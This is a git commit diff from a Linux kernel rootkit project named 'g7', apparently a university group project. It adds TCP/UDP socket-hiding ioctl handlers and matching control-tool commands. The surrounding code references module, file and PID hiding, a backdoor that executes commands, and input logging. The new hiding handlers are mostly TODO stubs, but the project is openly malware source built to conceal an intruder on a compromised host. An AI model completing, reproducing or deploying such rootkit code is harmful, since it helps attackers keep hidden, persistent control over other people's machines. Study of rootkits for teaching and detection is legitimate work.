commit 5520c73abf9e251b66a4dfd133a6976f2e3958fe
parent 9c38d818c12d8d446b4fae4ced617aa56f8cdbc2
Author: deurzen <m.deurzen@tum.de>
Date:   Sun, 13 Dec 2020 01:03:21 +0100
adds {TCP,UDP} socket hiding handlers
Diffstat:
7 files changed, 110 insertions(+), 8 deletions(-)
diff --git a/src/channel.c b/src/channel.c
@@ -30,6 +30,8 @@ report_channels(void)
     DEBUG_NOTICE("%-24s %#10lx\n", "FILEHIDE", G7_FILEHIDE);
     DEBUG_NOTICE("%-24s %#10lx\n", "OPENHIDE", G7_OPENHIDE);
     DEBUG_NOTICE("%-24s %#10lx\n", "HIDEPID",  G7_PIDHIDE);
+    DEBUG_NOTICE("%-24s %#10lx\n", "TCPHIDE",  G7_TCPHIDE);
+    DEBUG_NOTICE("%-24s %#10lx\n", "UDPHIDE",  G7_UDPHIDE);
     DEBUG_NOTICE("%-24s %#10lx\n", "BACKDOOR", G7_BACKDOOR);
     DEBUG_NOTICE("%-24s %#10lx\n", "TOGGLEBD", G7_TOGGLEBD);
     DEBUG_NOTICE("%-24s %#10lx\n", "LOGGING",  G7_LOGGING);
@@ -45,6 +47,8 @@ detect_channel(unsigned cmd)
     case G7_FILEHIDE: return (channel_t){ "FILEHIDE", handle_filehide };
     case G7_OPENHIDE: return (channel_t){ "OPENHIDE", handle_openhide };
     case G7_PIDHIDE:  return (channel_t){ "HIDEPID",  handle_pidhide  };
+    case G7_TCPHIDE:  return (channel_t){ "TCPHIDE",  handle_tcphide  };
+    case G7_UDPHIDE:  return (channel_t){ "UDPHIDE",  handle_udphide  };
     case G7_BACKDOOR: return (channel_t){ "BACKDOOR", handle_backdoor };
     case G7_TOGGLEBD: return (channel_t){ "TOGGLEBD", handle_togglebd };
     case G7_LOGGING:  return (channel_t){ "LOGGING",  handle_logging  };
@@ -176,6 +180,58 @@ handle_pidhide(unsigned long arg)
 }
 
 int
+handle_tcphide(unsigned long arg)
+{
+    long sarg = (long)arg;
+
+    if (!sarg) {
+        // TODO toggle hiding off, perhaps also remove all sockets (tcp & udp) that are currently being hidden
+        rootkit.hiding_sockets = 0;
+        DEBUG_NOTICE("[g7] socket hiding off\n");
+    } else if (sarg < 0) {
+        // TODO unhide tcp socket for port `-sarg`
+        DEBUG_NOTICE("[g7] unhiding tcp socket with port %ld\n", -sarg);
+    } else if (sarg > 0) {
+        if (!rootkit.hiding_sockets) {
+            // TODO toggle hiding back on
+            DEBUG_NOTICE("[g7] socket hiding on\n");
+        }
+
+        // TODO hide tcp socket for port `sarg`
+        rootkit.hiding_sockets = 1;
+        DEBUG_NOTICE("[g7] hiding tcp socket with port %ld\n", sarg);
+    }
+
+    return 0;
+}
+
+int
+handle_udphide(unsigned long arg)
+{
+    long sarg = (long)arg;
+
+    if (!sarg) {
+        // TODO toggle hiding off, perhaps also remove all sockets (tcp & udp) that are currently being hidden
+        rootkit.hiding_sockets = 0;
+        DEBUG_NOTICE("[g7] socket hiding off\n");
+    } else if (sarg < 0) {
+        // TODO unhide udp socket for port `-sarg`
+        DEBUG_NOTICE("[g7] unhiding udp socket with port %ld\n", -sarg);
+    } else if (sarg > 0) {
+        if (!rootkit.hiding_sockets) {
+            // TODO toggle hiding back on
+            DEBUG_NOTICE("[g7] socket hiding on\n");
+        }
+
+        // TODO hide udp socket for port `sarg`
+        rootkit.hiding_sockets = 1;
+        DEBUG_NOTICE("[g7] hiding udp socket with port %ld\n", sarg);
+    }
+
+    return 0;
+}
+
+int
 handle_backdoor(unsigned long arg)
 {
     char buf[BUFLEN];
diff --git a/src/channel.h b/src/channel.h
@@ -15,6 +15,8 @@ int handle_modhide(unsigned long);
 int handle_filehide(unsigned long);
 int handle_openhide(unsigned long);
 int handle_pidhide(unsigned long);
+int handle_tcphide(unsigned long);
+int handle_udphide(unsigned long);
 int handle_backdoor(unsigned long);
 int handle_togglebd(unsigned long);
 int handle_logging(unsigned long);
diff --git a/src/g7.c b/src/g7.c
@@ -40,11 +40,12 @@ static struct file_operations g7_fops =
 
 
 rootkit_t rootkit = {
-    .hiding_module = true,
-    .hiding_files  = true,
-    .hiding_open   = true,
-    .hiding_pids   = true,
-    .logging_input = false,
+    .hiding_module  = true,
+    .hiding_files   = true,
+    .hiding_open    = true,
+    .hiding_pids    = true,
+    .hiding_sockets = true,
+    .logging_input  = false,
     .backdoor = BD_TTY,
 };
 
diff --git a/src/ioctl.h b/src/ioctl.h
@@ -9,8 +9,10 @@
 #define G7_FILEHIDE _IOR(G7_MAGIC_NUMBER, 0x2, char *)
 #define G7_OPENHIDE _IOR(G7_MAGIC_NUMBER, 0x3, char *)
 #define G7_PIDHIDE  _IOR(G7_MAGIC_NUMBER, 0x4, char *)
-#define G7_BACKDOOR _IOR(G7_MAGIC_NUMBER, 0x5, char *)
-#define G7_TOGGLEBD _IOR(G7_MAGIC_NUMBER, 0x6, char *)
-#define G7_LOGGING  _IOR(G7_MAGIC_NUMBER, 0x7, char *)
+#define G7_TCPHIDE  _IOR(G7_MAGIC_NUMBER, 0x5, char *)
+#define G7_UDPHIDE  _IOR(G7_MAGIC_NUMBER, 0x6, char *)
+#define G7_BACKDOOR _IOR(G7_MAGIC_NUMBER, 0x7, char *)
+#define G7_TOGGLEBD _IOR(G7_MAGIC_NUMBER, 0x8, char *)
+#define G7_LOGGING  _IOR(G7_MAGIC_NUMBER, 0x9, char *)
 
 #endif//_GROUP7_IOCTL_H
diff --git a/src/rkctl/rkctl.c b/src/rkctl/rkctl.c
@@ -92,6 +92,32 @@ parse_input(int argc, char **argv)
     if (ARGVCMP(1, "hidepid-off"))
             return (cmd_t){ handle_pidhide, (void *)0 };
 
+    if (ARGVCMP(1, "socket")) {
+        ASSERT_ARGC(4, "socket <hide | unhide> <tcp | udp> <port>");
+
+        long arg;
+        if ((arg = strtol(argv[4], NULL, 10))) {
+            if (ARGVCMP(2, "hide")) {
+                if (ARGVCMP(3, "tcp"))
+                    return (cmd_t){ handle_tcphide, (void *)arg };
+
+                if (ARGVCMP(3, "udp"))
+                    return (cmd_t){ handle_udphide, (void *)arg };
+            }
+
+            if (ARGVCMP(2, "unhide")){
+                if (ARGVCMP(3, "tcp"))
+                    return (cmd_t){ handle_tcphide, (void *)((-1) * (arg)) };
+
+                if (ARGVCMP(3, "udp"))
+                    return (cmd_t){ handle_udphide, (void *)((-1) * (arg)) };
+            }
+        } else {
+            fprintf(stderr, "%s: invalid port `%s`\n", progname, argv[3]);
+            exit(1);
+        }
+    }
+
     if (ARGVCMP(1, "backdoor")) {
         ASSERT_ARGC(2, "backdoor <execve_command>");
         return (cmd_t){ handle_backdoor, (void *)argv[2] };
@@ -160,6 +186,18 @@ handle_pidhide(void *arg)
 }
 
 int
+handle_tcphide(void *arg)
+{
+    return issue_ioctl(G7_TCPHIDE, (const char *)arg);
+}
+
+int
+handle_udphide(void *arg)
+{
+    return issue_ioctl(G7_UDPHIDE, (const char *)arg);
+}
+
+int
 handle_backdoor(void *arg)
 {
     return issue_ioctl(G7_BACKDOOR, (const char *)arg);
diff --git a/src/rkctl/rkctl.h b/src/rkctl/rkctl.h
@@ -25,6 +25,8 @@ int handle_modhide(void *);
 int handle_filehide(void *);
 int handle_openhide(void *);
 int handle_pidhide(void *);
+int handle_tcphide(void *);
+int handle_udphide(void *);
 int handle_backdoor(void *);
 int handle_shellbd(void *);
 int handle_togglebd(void *);
diff --git a/src/rootkit.h b/src/rootkit.h
@@ -15,6 +15,7 @@ typedef struct {
     bool hiding_files;
     bool hiding_pids;
     bool hiding_open;
+    bool hiding_sockets;
     bool logging_input;
     bd_state_t backdoor;
 } rootkit_t;